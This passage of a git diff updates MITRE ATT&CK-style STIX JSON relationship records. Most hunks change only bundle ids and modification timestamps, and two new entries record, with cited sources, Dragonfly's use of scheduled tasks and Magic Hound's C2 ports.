             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 ran a command to compile an archive of file types of interest from the victim user's directories.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--b9b0e376-f249-432f-a0d3-dfa259b4757a.json b/enterprise-attack/relationship/relationship--b9b0e376-f249-432f-a0d3-dfa259b4757a.json
index 7670baacbf..875de83ccc 100644
--- a/enterprise-attack/relationship/relationship--b9b0e376-f249-432f-a0d3-dfa259b4757a.json
+++ b/enterprise-attack/relationship/relationship--b9b0e376-f249-432f-a0d3-dfa259b4757a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c953c79e-f894-4149-8dac-1fd307f0739f",
+    "id": "bundle--5cfeebac-d133-43ef-80e2-17e3a120f806",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b9b0e376-f249-432f-a0d3-dfa259b4757a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BUBBLEWRAP can communicate using SOCKS.",
             "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
diff --git a/enterprise-attack/relationship/relationship--b9e2fac9-fc1a-4e13-ac68-1a5796b04d72.json b/enterprise-attack/relationship/relationship--b9e2fac9-fc1a-4e13-ac68-1a5796b04d72.json
index 45dea2c63a..9b960cdb17 100644
--- a/enterprise-attack/relationship/relationship--b9e2fac9-fc1a-4e13-ac68-1a5796b04d72.json
+++ b/enterprise-attack/relationship/relationship--b9e2fac9-fc1a-4e13-ac68-1a5796b04d72.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--30f50e1a-4648-446c-9fbe-b45fc788f793",
+    "id": "bundle--b82c7615-f4c0-4a56-9524-7b42b57a9cd9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b9e2fac9-fc1a-4e13-ac68-1a5796b04d72",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the getFirefoxPassword function to attempt to locate Firefox passwords.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--b9e624b0-47d1-4463-970b-fbb6ddcd7171.json b/enterprise-attack/relationship/relationship--b9e624b0-47d1-4463-970b-fbb6ddcd7171.json
index 639e81fd70..304d9da024 100644
--- a/enterprise-attack/relationship/relationship--b9e624b0-47d1-4463-970b-fbb6ddcd7171.json
+++ b/enterprise-attack/relationship/relationship--b9e624b0-47d1-4463-970b-fbb6ddcd7171.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4ed87c56-ecdc-41b7-b4d5-3d58b6c87847",
+    "id": "bundle--1630694b-a652-4ef1-a514-c619c4f1b4e4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b9e624b0-47d1-4463-970b-fbb6ddcd7171",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can use WMI to deliver a payload to a remote host.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2.json b/enterprise-attack/relationship/relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2.json
index 2dd6f59c49..9c5104578b 100644
--- a/enterprise-attack/relationship/relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2.json
+++ b/enterprise-attack/relationship/relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--23aec3c4-8ec2-41d5-8cc1-4b95430a49f6",
+    "id": "bundle--a2e9b97e-1e69-4090-adac-b6e82b4f0fce",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Axiom actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.",
             "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
diff --git a/enterprise-attack/relationship/relationship--b9fe8dd4-a3c9-4e58-9a74-937e4de677a8.json b/enterprise-attack/relationship/relationship--b9fe8dd4-a3c9-4e58-9a74-937e4de677a8.json
index 171c2ff629..fe631edc4c 100644
--- a/enterprise-attack/relationship/relationship--b9fe8dd4-a3c9-4e58-9a74-937e4de677a8.json
+++ b/enterprise-attack/relationship/relationship--b9fe8dd4-a3c9-4e58-9a74-937e4de677a8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ee505b61-112f-47ea-a822-9cb66f47939d",
+    "id": "bundle--0ddcf8e0-49cd-46d3-8329-ce7c4d9ee16c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b9fe8dd4-a3c9-4e58-9a74-937e4de677a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi is capable of obtaining a directory listing.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--ba1a4084-a74f-44d6-bafe-7a09ee959270.json b/enterprise-attack/relationship/relationship--ba1a4084-a74f-44d6-bafe-7a09ee959270.json
index a367a1176e..934019a61c 100644
--- a/enterprise-attack/relationship/relationship--ba1a4084-a74f-44d6-bafe-7a09ee959270.json
+++ b/enterprise-attack/relationship/relationship--ba1a4084-a74f-44d6-bafe-7a09ee959270.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0c890e76-e4de-4e64-a79a-d0aa12515a33",
+    "id": "bundle--9b7d7e51-0877-4ae9-b82d-44c181db3c3d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ba1a4084-a74f-44d6-bafe-7a09ee959270",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
diff --git a/enterprise-attack/relationship/relationship--ba1b953d-08ce-4b4b-924e-92556cdf1d90.json b/enterprise-attack/relationship/relationship--ba1b953d-08ce-4b4b-924e-92556cdf1d90.json
index 9744198195..c5266befbe 100644
--- a/enterprise-attack/relationship/relationship--ba1b953d-08ce-4b4b-924e-92556cdf1d90.json
+++ b/enterprise-attack/relationship/relationship--ba1b953d-08ce-4b4b-924e-92556cdf1d90.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1cfee0f8-fc91-48fd-9c30-8a2835462df0",
+    "id": "bundle--1a84ee24-8134-4dd9-9024-296af33e7685",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ba1b953d-08ce-4b4b-924e-92556cdf1d90",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT3 has used PowerShell on victim systems to download and run payloads after exploitation.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--ba4e03d1-f9b6-442d-974b-2fb7feddb551.json b/enterprise-attack/relationship/relationship--ba4e03d1-f9b6-442d-974b-2fb7feddb551.json
index 4b72850383..bfdf463704 100644
--- a/enterprise-attack/relationship/relationship--ba4e03d1-f9b6-442d-974b-2fb7feddb551.json
+++ b/enterprise-attack/relationship/relationship--ba4e03d1-f9b6-442d-974b-2fb7feddb551.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c31674ca-4c7d-4e3d-b19f-a6654ef8711a",
+    "id": "bundle--1982f79f-4c1a-483c-b824-02d8ca4eaf9a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ba4e03d1-f9b6-442d-974b-2fb7feddb551",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--ba64e6d1-4deb-440a-a4eb-1c3476b6fb47.json b/enterprise-attack/relationship/relationship--ba64e6d1-4deb-440a-a4eb-1c3476b6fb47.json
index f059e57733..5e5a20d36e 100644
--- a/enterprise-attack/relationship/relationship--ba64e6d1-4deb-440a-a4eb-1c3476b6fb47.json
+++ b/enterprise-attack/relationship/relationship--ba64e6d1-4deb-440a-a4eb-1c3476b6fb47.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9a68390d-3399-4ddc-89ab-6638b47d79b7",
+    "id": "bundle--04b9c2e9-0975-43b7-a64c-155123a1aec0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ba64e6d1-4deb-440a-a4eb-1c3476b6fb47",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
diff --git a/enterprise-attack/relationship/relationship--ba95a6e7-3235-4dcd-93eb-4eebc4d0aaec.json b/enterprise-attack/relationship/relationship--ba95a6e7-3235-4dcd-93eb-4eebc4d0aaec.json
new file mode 100644
index 0000000000..8cd1dce956
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ba95a6e7-3235-4dcd-93eb-4eebc4d0aaec.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--8c52b520-a3af-416d-a3cf-540a5265a9b4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ba95a6e7-3235-4dcd-93eb-4eebc4d0aaec",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly has used a scheduled task to execute a malicious file.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--baabf444-1748-472f-b991-7a5b25e4e1bb.json b/enterprise-attack/relationship/relationship--baabf444-1748-472f-b991-7a5b25e4e1bb.json
index ed384af1bd..9d659058e9 100644
--- a/enterprise-attack/relationship/relationship--baabf444-1748-472f-b991-7a5b25e4e1bb.json
+++ b/enterprise-attack/relationship/relationship--baabf444-1748-472f-b991-7a5b25e4e1bb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--04f8130a-b366-4ede-88d5-ea310588e787",
+    "id": "bundle--924d8d6c-3c1c-4f2b-aa0d-00e43667db40",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--baabf444-1748-472f-b991-7a5b25e4e1bb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Reg may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface.",
             "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
diff --git a/enterprise-attack/relationship/relationship--bab6aadc-7a93-43e4-88cb-904fd1f2fddd.json b/enterprise-attack/relationship/relationship--bab6aadc-7a93-43e4-88cb-904fd1f2fddd.json
index 4aced28db0..2f44ae47a7 100644
--- a/enterprise-attack/relationship/relationship--bab6aadc-7a93-43e4-88cb-904fd1f2fddd.json
+++ b/enterprise-attack/relationship/relationship--bab6aadc-7a93-43e4-88cb-904fd1f2fddd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3876b1bd-c59d-4b1a-b7d0-ad8cd22d7f65",
+    "id": "bundle--12ca69c6-1944-4a31-b112-d2aaf6854aa3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bab6aadc-7a93-43e4-88cb-904fd1f2fddd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
diff --git a/enterprise-attack/relationship/relationship--babaa2be-7c41-490a-bd0b-2cf140858244.json b/enterprise-attack/relationship/relationship--babaa2be-7c41-490a-bd0b-2cf140858244.json
index 9d84638d54..e332e303df 100644
--- a/enterprise-attack/relationship/relationship--babaa2be-7c41-490a-bd0b-2cf140858244.json
+++ b/enterprise-attack/relationship/relationship--babaa2be-7c41-490a-bd0b-2cf140858244.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--df1f2cca-0d7a-4739-98b5-f7324b691bbd",
+    "id": "bundle--4c50e8b4-7dea-4d27-8660-5b21d77d6cf1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--babaa2be-7c41-490a-bd0b-2cf140858244",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM identifies and kills anti-malware processes.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
diff --git a/enterprise-attack/relationship/relationship--bad90106-a150-4d76-b39f-f35aab4ac766.json b/enterprise-attack/relationship/relationship--bad90106-a150-4d76-b39f-f35aab4ac766.json
index ef3c17fd8d..0ee57d1a31 100644
--- a/enterprise-attack/relationship/relationship--bad90106-a150-4d76-b39f-f35aab4ac766.json
+++ b/enterprise-attack/relationship/relationship--bad90106-a150-4d76-b39f-f35aab4ac766.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e85b9b12-8294-460a-a7b1-6ebdd2f39ae3",
+    "id": "bundle--233b3256-9061-4982-a29d-1e6547ff4e46",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bad90106-a150-4d76-b39f-f35aab4ac766",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover has functionality to remove Registry Run key persistence as a cleanup procedure.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
diff --git a/enterprise-attack/relationship/relationship--bae7f2fb-99d8-4acf-b61e-f37a215aa82e.json b/enterprise-attack/relationship/relationship--bae7f2fb-99d8-4acf-b61e-f37a215aa82e.json
index e8469454b1..b68db6f0b1 100644
--- a/enterprise-attack/relationship/relationship--bae7f2fb-99d8-4acf-b61e-f37a215aa82e.json
+++ b/enterprise-attack/relationship/relationship--bae7f2fb-99d8-4acf-b61e-f37a215aa82e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d5d01b6b-e47a-44bb-b621-51b9d1cccdd0",
+    "id": "bundle--54492b99-0e9a-4d52-88a3-bcc7cc276201",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bae7f2fb-99d8-4acf-b61e-f37a215aa82e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to execute the command <code>net start</code> to interact with services.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--bb005145-438c-4fd8-9cac-a636df7465da.json b/enterprise-attack/relationship/relationship--bb005145-438c-4fd8-9cac-a636df7465da.json
index 7dba6cf2ad..26bbd4005d 100644
--- a/enterprise-attack/relationship/relationship--bb005145-438c-4fd8-9cac-a636df7465da.json
+++ b/enterprise-attack/relationship/relationship--bb005145-438c-4fd8-9cac-a636df7465da.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5e2bf04e-a02c-4d32-9f78-7e22a95b8c53",
+    "id": "bundle--329de264-8107-4314-9752-244e8b33eefe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bb005145-438c-4fd8-9cac-a636df7465da",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the getProcessList function to run <code>ps aux</code> to get running processes.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--bb11119c-c409-4615-8c3f-8491749f2d3b.json b/enterprise-attack/relationship/relationship--bb11119c-c409-4615-8c3f-8491749f2d3b.json
index d34f499a14..7ad5effddc 100644
--- a/enterprise-attack/relationship/relationship--bb11119c-c409-4615-8c3f-8491749f2d3b.json
+++ b/enterprise-attack/relationship/relationship--bb11119c-c409-4615-8c3f-8491749f2d3b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--710579f5-c5f9-478b-901b-915d36e7a07f",
+    "id": "bundle--d1a2f3dd-36cd-4604-ba5c-c4aa86d8d226",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bb11119c-c409-4615-8c3f-8491749f2d3b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 encrypts collected data using a single byte XOR key.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--bb1de6e6-23ce-42a8-bcd7-fd75aec24c50.json b/enterprise-attack/relationship/relationship--bb1de6e6-23ce-42a8-bcd7-fd75aec24c50.json
index 1105abcbb6..4c1ddfd0bf 100644
--- a/enterprise-attack/relationship/relationship--bb1de6e6-23ce-42a8-bcd7-fd75aec24c50.json
+++ b/enterprise-attack/relationship/relationship--bb1de6e6-23ce-42a8-bcd7-fd75aec24c50.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f1b7774d-b930-4336-9918-3b0bf3f31950",
+    "id": "bundle--ae4cb753-4236-4a12-8938-49e8e19d316a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bb1de6e6-23ce-42a8-bcd7-fd75aec24c50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab",
             "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
diff --git a/enterprise-attack/relationship/relationship--bb283a5e-7d61-4b33-aa30-e7c2f0bacbe6.json b/enterprise-attack/relationship/relationship--bb283a5e-7d61-4b33-aa30-e7c2f0bacbe6.json
index 4ac7077c2e..a95ee3b094 100644
--- a/enterprise-attack/relationship/relationship--bb283a5e-7d61-4b33-aa30-e7c2f0bacbe6.json
+++ b/enterprise-attack/relationship/relationship--bb283a5e-7d61-4b33-aa30-e7c2f0bacbe6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--40a2c2dc-a1a7-4d16-9dda-5b6198764136",
+    "id": "bundle--d8ee9c26-28b3-4238-a3b6-047c270dbf64",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bb283a5e-7d61-4b33-aa30-e7c2f0bacbe6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--39706d54-0d06-4a25-816a-78cc43455100",
             "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
diff --git a/enterprise-attack/relationship/relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363.json b/enterprise-attack/relationship/relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363.json
index f113b8b2ee..ea7b19879c 100644
--- a/enterprise-attack/relationship/relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363.json
+++ b/enterprise-attack/relationship/relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--095abd3f-1116-45e1-8f63-ea3d1a1468a9",
+    "id": "bundle--04647a3e-7fc1-4a52-8a1a-9b34a439526c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 collects the local IP address of the victim and sends it to the C2.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
diff --git a/enterprise-attack/relationship/relationship--bb523d35-52f1-4c61-a8de-b4605ce9e596.json b/enterprise-attack/relationship/relationship--bb523d35-52f1-4c61-a8de-b4605ce9e596.json
index 22a5592e19..f94fdb9adc 100644
--- a/enterprise-attack/relationship/relationship--bb523d35-52f1-4c61-a8de-b4605ce9e596.json
+++ b/enterprise-attack/relationship/relationship--bb523d35-52f1-4c61-a8de-b4605ce9e596.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c604c58f-7cdd-40fb-9353-17dd17aa85d0",
+    "id": "bundle--4dc5de2f-a6b7-4fdb-96d9-8c7a99e105d7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bb523d35-52f1-4c61-a8de-b4605ce9e596",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514",
             "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
diff --git a/enterprise-attack/relationship/relationship--bb55d7e7-28af-4efd-8384-289f1a8b173e.json b/enterprise-attack/relationship/relationship--bb55d7e7-28af-4efd-8384-289f1a8b173e.json
index edebf408c5..dc12e51adc 100644
--- a/enterprise-attack/relationship/relationship--bb55d7e7-28af-4efd-8384-289f1a8b173e.json
+++ b/enterprise-attack/relationship/relationship--bb55d7e7-28af-4efd-8384-289f1a8b173e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3a050837-1a26-4fa0-9ac4-df164d53a159",
+    "id": "bundle--38a536af-e6d3-446f-9856-3d31b259499f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bb55d7e7-28af-4efd-8384-289f1a8b173e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425",
             "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
diff --git a/enterprise-attack/relationship/relationship--bb784f1f-fb42-4587-9fe2-9dd5c8dffa5c.json b/enterprise-attack/relationship/relationship--bb784f1f-fb42-4587-9fe2-9dd5c8dffa5c.json
new file mode 100644
index 0000000000..d6ccd4f8b3
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--bb784f1f-fb42-4587-9fe2-9dd5c8dffa5c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1b008c53-37d6-4bce-87cc-99475998dced",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--bb784f1f-fb42-4587-9fe2-9dd5c8dffa5c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has communicated with C2 servers over port 6667 (for IRC) and port 8080.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--bb8149a2-fdda-4c3a-9e02-f530c4ee7962.json b/enterprise-attack/relationship/relationship--bb8149a2-fdda-4c3a-9e02-f530c4ee7962.json
index 67e2099a61..ea139015bb 100644
--- a/enterprise-attack/relationship/relationship--bb8149a2-fdda-4c3a-9e02-f530c4ee7962.json
+++ b/enterprise-attack/relationship/relationship--bb8149a2-fdda-4c3a-9e02-f530c4ee7962.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--245b7c1d-04a0-4e78-af26-b105ae23c0a1",
